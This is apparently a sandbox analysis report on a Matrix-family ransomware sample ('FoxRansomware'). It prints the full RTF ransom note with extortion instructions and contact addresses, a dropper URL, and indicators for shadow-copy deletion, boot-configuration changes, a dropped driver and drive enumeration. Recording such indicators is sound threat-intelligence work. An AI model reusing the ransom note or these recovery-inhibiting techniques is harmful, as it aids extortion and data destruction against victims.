matrix | 016061f330faaeffdd84628f613a719a2f617c8145909d047b5721429ee5b451

Analysis

max time kernel
156s
max time network
159s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
03-04-2024 17:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Size

1.2MB
MD5

76b640aa00354e46b29ca7ac2adfd732
SHA1

afebf9d72ba7186afefebf4deda87675621b0b8b
SHA256

0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7
SHA512

fecb15238714c786098f1dd0bb18696ab15634228ec3a48c900fd843e817d4c24607bdf6fb58e0321da3e1c1e49305ec919dddabbd34727acec8fbd6cb6fd552
SSDEEP

24576:l/SA+2lraRrjSJR5ezmT1dM9tZBrPyvaNn:zXlabPyyN

Score

10^/10

matrix discovery evasion persistence ransomware upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://myexternalip.com/raw

Extracted

Path

C:\Program Files\Microsoft Office\root\Office16\1033\#FOX_README#.rtf

Ransom Note

{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected] \par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 2B33F6924F7A3EFB\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 2B33F6924F7A3EFB\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 bAUFNlzN\cf0\f1\fs32\lang1049\par \par }

Emails

[email protected]

[email protected]\par

[email protected]\cf1\fs24\par

URLs

https://bitmsg.me

https://bitmsg.me/users/sign_up

https://bitmsg.me/users/sign_in

Signatures

Matrix Ransomware 64 IoCs

Targeted ransomware with information collection and encryption functionality.

ransomware matrix

Processes:

0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe

description	ioc	process
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATER\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Mozilla Firefox\fonts\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\css\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\root\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\it-it\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\sl-sl\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ja-jp\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nl-nl\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\edge_feedback\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\sv-se\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\ja-jp\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ro-ro\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\css\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-gb\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\sl-si\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Users\All Users\Package Cache\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\packages\vcRuntimeMinimum_amd64\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\css\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ru-ru\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\fr-ma\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.0\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Microsoft Office\Office16\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\tr-tr\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ru-ru\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\fr-ma\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\da-dk\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\pt-br\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sk-sk\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Users\Admin\Downloads\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\VisualElements\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\uk-ua\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\zh-tw\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fr-ma\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Users\All Users\Package Cache\{CB0836EC-B072-368D-82B2-D3470BF95707}v12.0.40660\packages\vcRuntimeMinimum_amd64\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\7-Zip\Lang\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\cs-cz\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\rhp\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\tr-tr\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Users\All Users\Microsoft\Diagnosis\ScenariosSqlStore\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\da-dk\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Users\All Users\Microsoft\Crypto\SystemKeys\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Users\All Users\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Java\jre-1.8\lib\jfr\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\zh-tw\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Resources\1033\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\es-es\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

5304 bcdedit.exe
3484 bcdedit.exe
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

346 2560 powershell.exe
Drops file in Drivers directory 1 IoCs

Processes:

EY6ycQhK64.exe

description ioc process

File created C:\Windows\system32\Drivers\PROCEXP152.SYS EY6ycQhK64.exe

pid	process
5304	bcdedit.exe
3484	bcdedit.exe

flow	pid	process
346	2560	powershell.exe

description	ioc	process
File created	C:\Windows\system32\Drivers\PROCEXP152.SYS	EY6ycQhK64.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

EY6ycQhK64.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PROCEXP152\ImagePath = "\\??\\C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS"	EY6ycQhK64.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 3 IoCs

Processes:

NWFxTI7p.exeEY6ycQhK.exeEY6ycQhK64.exe

pid process

1876 NWFxTI7p.exe
5568 EY6ycQhK.exe
5452 EY6ycQhK64.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exe

pid process

5564 takeown.exe

pid	process
1876	NWFxTI7p.exe
5568	EY6ycQhK.exe
5452	EY6ycQhK64.exe

pid	process
5564	takeown.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\EY6ycQhK.exe	upx
behavioral4/memory/5568-561-0x0000000000400000-0x0000000000477000-memory.dmp	upx
behavioral4/memory/5568-2052-0x0000000000400000-0x0000000000477000-memory.dmp	upx

Enumerates connected drives 3 TTPs 44 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exeEY6ycQhK64.exe

description	ioc	process
File opened (read-only)	\??\S:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
